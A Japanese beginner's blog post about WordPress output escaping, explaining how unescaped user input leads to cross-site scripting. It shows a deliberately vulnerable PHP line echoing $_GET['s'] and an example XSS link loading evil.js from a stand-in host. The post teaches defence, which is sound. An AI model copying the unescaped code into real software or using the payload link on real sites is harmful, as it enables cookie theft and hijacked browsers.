WordPress入門〜②エスケープ処理をしないとどうなるの??〜
みなさんこんにちは!わーくんです!
今回の記事は前回の続きとなっていますので、まだ記事を読んでいない方は前回の記事から読むのじゃぞ!
前記事で、エスケープ処理についてはなんとなく理解できたとおもいます。
今回はそのエスケープ処理を怠ると陥ってしまう事について、赤ちゃんでも分かるように解説していきます。
▶︎エスケープ処理を怠ると・・・
出力時に適切なエスケープ処理を怠ってしまうと、本来意図していない処理や表示が行われてしまう場合があります。例えば、ブログのコメントなどで次のように「<>」が混入した場合、
<WordPressユーザーのためのPHP入門>を読みました
ブラウザによって「<~>」内の文字がHTMLタグだと解釈されるため、表示結果は次のようになってしまいます。
を読みました ←(<~>内の文字が消える)
さらに注意しなくてはいけないのは、セキュリティの抜け道になってしまう点です。典型的な例で言えば、悪意ある攻撃者が<script>タグを利用してJavaScriptを混入します。混入したスクリプトを実行すると、クッキー情報を不正入手されたり、別のサイトへ強制リダイレクトさせられたりといった危険があります。
▶︎クロスサイトスクリプティング攻撃への対策
特にユーザーが入力した文字列をブラウザに出力する際は、原則としてHTMLを有効にしない方がいいでしょう。仮にエスケープ処理を行わず「<」や「>」が入ったデータをそのまま出力すると脆弱性となります。脆弱な例は、例えば検索結果を示す際に下記のようなコードを書いてしまうケースです。
<p>キーワード<?php echo $_GET['s']; ?>で検索した結果です。</p>
$GET['s']は検索文字列が格納されているWordPressの連想配列の要素です。このようにコードを書いてしまうと、ユーザーが入力した文字列をそのまま出力してしまいます。
その場合、もし悪意のあるユーザーが検索入力欄に悪質なスクリプトの処理を記入するとそれが実行されてしまうということです。仮に、
あなたのWordPressのURL/?s=<script type=text/javascript
src=http://○○.com/evil.js></script>
というリンクを作成してクリックさせるだけで、リンクをクリックしたユーザーのブラウザが(攻撃者が用意した)evil.jsを実行してしまいます。
そしてその、evil.jsが次のようなコードの場合、
alert("hello");
リンクをクリックするとJavaScriptが実行され、アラートが表示されます。
この例ではアラートを表示しているだけですが、evil.jsの中身次第ではもっと大きな被害が生じてしまいます。
このように脆弱性を利用してスクリプトを実行させる攻撃を「クロスサイトスクリプト」または「XSS」といいます。
このクロスサイトスクリプティングを防ぐために、「エスケープ処理」を行う必要があります。
実際に行うべきエスケープ処理については次章で説明させていただきます。
ではまた来週!!